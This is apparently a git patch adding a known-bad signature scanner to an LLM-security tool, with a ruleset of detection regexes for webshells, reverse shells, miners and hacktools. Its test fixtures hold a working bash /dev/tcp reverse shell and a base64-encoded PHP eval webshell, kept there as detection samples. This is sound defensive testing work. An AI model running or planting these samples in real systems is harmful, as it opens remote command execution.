From 9e0a09ab1f382f96c71e8f46714d4f8db0bc5fba Mon Sep 17 00:00:00 2001 From: Kjell Tore Guttormsen Date: Sat, 20 Jun 2026 09:28:52 +0200 Subject: [PATCH] feat(llm-security): add SIG signature scanner with decode-pipeline matching Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG --- knowledge/signatures.json | 62 ++++++++ scanners/signature-scanner.mjs | 145 ++++++++++++++++++ tests/fixtures/signature-scan/clean/notes.md | 5 + .../signature-scan/poisoned/revshell.sh | 3 + .../signature-scan/poisoned/webshell-b64.txt | 1 + .../signature-scan/poisoned/webshell.php | 4 + tests/scanners/signature-scanner.test.mjs | 126 +++++++++++++++ 7 files changed, 346 insertions(+) create mode 100644 knowledge/signatures.json create mode 100644 scanners/signature-scanner.mjs create mode 100644 tests/fixtures/signature-scan/clean/notes.md create mode 100644 tests/fixtures/signature-scan/poisoned/revshell.sh create mode 100644 tests/fixtures/signature-scan/poisoned/webshell-b64.txt create mode 100644 tests/fixtures/signature-scan/poisoned/webshell.php create mode 100644 tests/scanners/signature-scanner.test.mjs diff --git a/knowledge/signatures.json b/knowledge/signatures.json new file mode 100644 index 0000000..d54cc88 --- /dev/null +++ b/knowledge/signatures.json @@ -0,0 +1,62 @@ +{ + "version": "1.0", + "description": "Small, high-confidence known-bad-identity signatures grouped by family. Patterns are case-insensitive JS regex source strings. Kept deliberately tight to minimize false positives; obfuscated variants are caught because the SIG scanner runs each pattern against the normalizeForScan/foldHomoglyphs/rot13 decode pipeline, not just raw bytes.", + "rules": [ + { + "id": "SIG-WEBSHELL-001", + "family": "webshell", + "severity": "critical", + "pattern": "(?:eval|assert|system|exec|passthru|shell_exec|popen|proc_open)\\s*\\(\\s*\\$_(?:POST|GET|REQUEST|COOKIE|SERVER)", + "description": "PHP webshell: executes attacker-controlled request data", + "provenance": "Classic PHP webshell pattern (c99/r57/b374k families)" + }, + { + "id": "SIG-WEBSHELL-002", + "family": "webshell", + "severity": "high", + "pattern": "\\$_(?:POST|GET|REQUEST|COOKIE)\\s*\\[[^\\]]*\\]\\s*\\(", + "description": "PHP variable-function call on request data (obfuscated webshell)", + "provenance": "Variable-function webshell obfuscation" + }, + { + "id": "SIG-REVSHELL-001", + "family": "reverse_shell", + "severity": "critical", + "pattern": "(?:bash|sh)\\s+-i\\s*>&?\\s*/dev/tcp/", + "description": "Bash /dev/tcp reverse shell", + "provenance": "PentestMonkey reverse-shell cheat sheet" + }, + { + "id": "SIG-REVSHELL-002", + "family": "reverse_shell", + "severity": "critical", + "pattern": "\\bnc\\s+-[a-z]*e[a-z]*\\s+/(?:bin|usr/bin)/(?:sh|bash)\\b", + "description": "Netcat -e reverse shell", + "provenance": "Netcat reverse-shell one-liner" + }, + { + "id": "SIG-MINER-001", + "family": "cryptominer", + "severity": "high", + "pattern": "stratum\\+(?:tcp|ssl)://", + "description": "Cryptominer stratum pool URL", + "provenance": "Stratum mining protocol" + }, + { + "id": "SIG-MINER-002", + "family": "cryptominer", + "severity": "high", + "pattern": "\\b(?:xmrig|minerd|cgminer|ccminer|cpuminer)\\b", + "description": "Known cryptominer binary reference", + "provenance": "Common CPU/GPU miner binaries" + }, + { + "id": "SIG-HACKTOOL-001", + "family": "hacktool", + "severity": "high", + "pattern": "\\b(?:mimikatz|meterpreter|sekurlsa::|lsadump::)\\b", + "description": "Offensive-security tooling reference", + "provenance": "Mimikatz / Metasploit Meterpreter" + } + ] +} diff --git a/scanners/signature-scanner.mjs b/scanners/signature-scanner.mjs new file mode 100644 index 0000000..4469949 --- /dev/null +++ b/scanners/signature-scanner.mjs @@ -0,0 +1,145 @@ +// signature-scanner.mjs — SIG: known-bad-identity signature engine +// +// Detects known-malware *identity* (webshells, reverse shells, cryptominers, +// hacktools) — complementary to the shape-based scanners (entropy/taint). +// +// Differentiator vs raw signature engines (e.g. YARA): every signature regex +// is tested not only against the raw file bytes but also against the project's +// decode pipeline (normalizeForScan -> base64/hex/url/entity/unicode decode, +// foldHomoglyphs, rot13). Obfuscated known-malware that a byte-matcher misses +// is therefore still caught. +// +// OWASP coverage: LLM03 (supply chain) primary; LLM02 (sensitive disclosure). +// Zero external dependencies — Node.js builtins only. + +import { readFile } from 'node:fs/promises'; +import { join, dirname } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { finding, scannerResult } from './lib/output.mjs'; +import { readTextFile } from './lib/file-discovery.mjs'; +import { normalizeForScan, foldHomoglyphs, rot13 } from './lib/string-utils.mjs'; +import { getPolicyValue } from './lib/policy-loader.mjs'; + +const __dirname = dirname(fileURLToPath(import.meta.url)); + +// Paths excluded from signature scanning when present under the scan root: +// our own ruleset, test fixtures, and docs all legitimately contain patterns +// that would otherwise self-flag. +const EXCLUDED_PATH_RE = /(^|\/)(knowledge|tests|docs|node_modules)\//i; + +const DEFAULT_FAMILIES = ['webshell', 'reverse_shell', 'cryptominer', 'hacktool']; + +// Cached, compiled ruleset (loaded once per process). +let _rules = null; + +/** + * Load and compile signatures.json. Each rule's `pattern` is compiled to a + * case-insensitive RegExp; rules whose pattern fails to compile are dropped. + * Graceful fallback to an empty ruleset on any load/parse error. + * @returns {Promise>} + */ +async function loadRules() { + if (_rules) return _rules; + const rulesetPath = join(__dirname, '..', 'knowledge', 'signatures.json'); + try { + const raw = await readFile(rulesetPath, 'utf8'); + const parsed = JSON.parse(raw); + const compiled = []; + for (const rule of parsed.rules || []) { + if (!rule || !rule.id || !rule.pattern) continue; + let re; + try { + re = new RegExp(rule.pattern, 'i'); + } catch { + continue; // skip uncompilable patterns + } + compiled.push({ + id: rule.id, + family: rule.family || 'unknown', + severity: rule.severity || 'high', + re, + description: rule.description || rule.id, + provenance: rule.provenance || null, + }); + } + _rules = compiled; + } catch { + _rules = []; // graceful: no ruleset -> no findings + } + return _rules; +} + +/** Build the decode-variant set for one file's content (de-duplicated). */ +function variantsOf(content) { + const variants = [{ label: 'raw', text: content }]; + const seen = new Set([content]); + const add = (label, text) => { + if (text && !seen.has(text)) { seen.add(text); variants.push({ label, text }); } + }; + // Trimming before decode lets a base64/hex blob with surrounding whitespace + // (a trailing newline, indentation) still decode — common in real payloads. + add('decoded', normalizeForScan(content)); + add('decoded-trimmed', normalizeForScan(content.trim())); + add('homoglyph-folded', foldHomoglyphs(content)); + add('rot13', rot13(content)); + return variants; +} + +/** + * Scan all discovered files for known-bad signatures. + * + * @param {string} targetPath - Absolute root path being scanned + * @param {{ files: import('./lib/file-discovery.mjs').FileInfo[] }} discovery + * @returns {Promise} - scannerResult envelope + */ +export async function scan(targetPath, discovery) { + const startMs = Date.now(); + const findings = []; + let filesScanned = 0; + + try { + const rules = await loadRules(); + const enabledFamilies = new Set( + (getPolicyValue('sig', 'enabled_families', DEFAULT_FAMILIES, targetPath) || []).map(f => String(f)), + ); + const activeRules = rules.filter(r => enabledFamilies.has(r.family)); + if (activeRules.length === 0) { + return scannerResult('signature-scanner', 'ok', findings, filesScanned, Date.now() - startMs); + } + + for (const fileInfo of discovery.files) { + const relPath = String(fileInfo.relPath).replace(/\\/g, '/'); + if (EXCLUDED_PATH_RE.test('/' + relPath)) continue; + + const content = await readTextFile(fileInfo.absPath); + if (content === null) continue; + + filesScanned++; + const variants = variantsOf(content); + const seen = new Set(); // de-dup per (file, rule) + + for (const rule of activeRules) { + if (seen.has(rule.id)) continue; + const hit = variants.find(v => rule.re.test(v.text)); + if (!hit) continue; + seen.add(rule.id); + const viaDecode = hit.label !== 'raw'; + findings.push(finding({ + scanner: 'SIG', + severity: rule.severity, + title: `Known-bad signature: ${rule.family} (${rule.id})`, + description: `${rule.description}${viaDecode ? ` — matched after decoding (${hit.label} variant), i.e. obfuscated.` : '.'}`, + file: fileInfo.relPath, + evidence: `${rule.id} [${rule.family}]${rule.provenance ? ` — ${rule.provenance}` : ''}`, + owasp: 'LLM03', + recommendation: `Remove the ${rule.family} payload, or if this is an intentional security sample, exclude its path or disable the "${rule.family}" family in .llm-security/policy.json.`, + })); + } + } + + return scannerResult('signature-scanner', 'ok', findings, filesScanned, Date.now() - startMs); + + } catch (err) { + return scannerResult('signature-scanner', 'error', findings, filesScanned, Date.now() - startMs, err.message); + } +} diff --git a/tests/fixtures/signature-scan/clean/notes.md b/tests/fixtures/signature-scan/clean/notes.md new file mode 100644 index 0000000..1b7fcda --- /dev/null +++ b/tests/fixtures/signature-scan/clean/notes.md @@ -0,0 +1,5 @@ +# Shell Safety Notes + +This guide explains how to use your shell safely: prefer quoting variables, +avoid running scripts you did not write, and review any command before you +execute it. Nothing here runs code. diff --git a/tests/fixtures/signature-scan/poisoned/revshell.sh b/tests/fixtures/signature-scan/poisoned/revshell.sh new file mode 100644 index 0000000..aa36bd3 --- /dev/null +++ b/tests/fixtures/signature-scan/poisoned/revshell.sh @@ -0,0 +1,3 @@ +#!/bin/sh +# Reverse shell test fixture — never executed. +bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 diff --git a/tests/fixtures/signature-scan/poisoned/webshell-b64.txt b/tests/fixtures/signature-scan/poisoned/webshell-b64.txt new file mode 100644 index 0000000..327bcfd --- /dev/null +++ b/tests/fixtures/signature-scan/poisoned/webshell-b64.txt @@ -0,0 +1 @@ +PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+ diff --git a/tests/fixtures/signature-scan/poisoned/webshell.php b/tests/fixtures/signature-scan/poisoned/webshell.php new file mode 100644 index 0000000..dee2025 --- /dev/null +++ b/tests/fixtures/signature-scan/poisoned/webshell.php @@ -0,0 +1,4 @@ + diff --git a/tests/scanners/signature-scanner.test.mjs b/tests/scanners/signature-scanner.test.mjs new file mode 100644 index 0000000..1388744 --- /dev/null +++ b/tests/scanners/signature-scanner.test.mjs @@ -0,0 +1,126 @@ +// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner. +// Fixtures in tests/fixtures/signature-scan/: +// - clean/ : benign prose that merely mentions "shell" (0 findings expected) +// - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline +// differentiator), and a /dev/tcp reverse shell + +import { describe, it, beforeEach } from 'node:test'; +import assert from 'node:assert/strict'; +import { resolve, join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { resetCounter } from '../../scanners/lib/output.mjs'; +import { discoverFiles } from '../../scanners/lib/file-discovery.mjs'; +import { scan } from '../../scanners/signature-scanner.mjs'; + +const __dirname = fileURLToPath(new URL('.', import.meta.url)); +const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean'); +const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned'); + +// --------------------------------------------------------------------------- +// Clean — benign prose, no known-bad identity +// --------------------------------------------------------------------------- + +describe('signature-scanner: clean', () => { + let discovery; + + beforeEach(async () => { + resetCounter(); + discovery = await discoverFiles(CLEAN_FIXTURE); + }); + + it('returns status ok', async () => { + const result = await scan(CLEAN_FIXTURE, discovery); + assert.equal(result.status, 'ok'); + }); + + it('produces 0 findings for benign prose mentioning "shell"', async () => { + const result = await scan(CLEAN_FIXTURE, discovery); + assert.equal( + result.findings.length, 0, + `Expected 0 findings, got ${result.findings.length}: ${result.findings.map(f => f.title).join('; ')}`, + ); + }); +}); + +// --------------------------------------------------------------------------- +// Poisoned — webshell + base64 variant (decode pipeline) + reverse shell +// --------------------------------------------------------------------------- + +describe('signature-scanner: poisoned', () => { + let discovery; + + beforeEach(async () => { + resetCounter(); + discovery = await discoverFiles(POISONED_FIXTURE); + }); + + it('returns status ok', async () => { + const result = await scan(POISONED_FIXTURE, discovery); + assert.equal(result.status, 'ok'); + }); + + it('all findings carry DS-SIG- ids and scanner SIG', async () => { + const result = await scan(POISONED_FIXTURE, discovery); + const wrong = result.findings.filter(f => !f.id.startsWith('DS-SIG-') || f.scanner !== 'SIG'); + assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`); + }); + + it('flags the raw PHP webshell', async () => { + const result = await scan(POISONED_FIXTURE, discovery); + const ws = result.findings.filter(f => f.file.includes('webshell.php')); + assert.ok(ws.length >= 1, `Expected a webshell finding on webshell.php, got: ${result.findings.map(f => f.file).join('; ')}`); + assert.ok(ws.some(f => /webshell/i.test(f.title) || /webshell/i.test(f.description)), 'finding should name the webshell family'); + }); + + it('flags the base64-wrapped webshell via the decode pipeline', async () => { + const result = await scan(POISONED_FIXTURE, discovery); + const b64 = result.findings.find(f => f.file.includes('webshell-b64.txt')); + assert.ok(b64, `Expected a finding on webshell-b64.txt (decode pipeline), got: ${result.findings.map(f => f.file).join('; ')}`); + }); + + it('flags the /dev/tcp reverse shell', async () => { + const result = await scan(POISONED_FIXTURE, discovery); + const rev = result.findings.find(f => f.file.includes('revshell.sh')); + assert.ok(rev, `Expected a reverse-shell finding on revshell.sh, got: ${result.findings.map(f => f.file).join('; ')}`); + }); + + it('all findings have required fields', async () => { + const result = await scan(POISONED_FIXTURE, discovery); + assert.ok(result.findings.length >= 3, `expected >= 3 findings, got ${result.findings.length}`); + for (const f of result.findings) { + assert.ok(f.id, 'missing id'); + assert.equal(f.scanner, 'SIG', `${f.id} scanner should be SIG`); + assert.ok(f.severity, `${f.id} missing severity`); + assert.ok(f.title, `${f.id} missing title`); + assert.ok(f.description, `${f.id} missing description`); + assert.ok(f.file, `${f.id} missing file`); + assert.ok(f.owasp, `${f.id} missing owasp`); + } + }); +}); + +// --------------------------------------------------------------------------- +// Hygiene — must not flag its own ruleset / test / docs paths when scanning +// a project root that contains them +// --------------------------------------------------------------------------- + +describe('signature-scanner: path exclusions', () => { + it('does not scan knowledge/, tests/, or docs/ paths', async () => { + const dir = mkdtempSync(join(tmpdir(), 'sig-paths-')); + try { + for (const sub of ['knowledge', 'tests', 'docs']) { + mkdirSync(join(dir, sub), { recursive: true }); + // A file that WOULD match a webshell signature, but lives in an excluded dir. + writeFileSync(join(dir, sub, 'sample.php'), "\n"); + } + resetCounter(); + const discovery = await discoverFiles(dir); + const result = await scan(dir, discovery); + assert.equal(result.findings.length, 0, `excluded dirs should yield 0 findings, got ${result.findings.map(f => f.file).join('; ')}`); + } finally { + rmSync(dir, { recursive: true, force: true }); + } + }); +});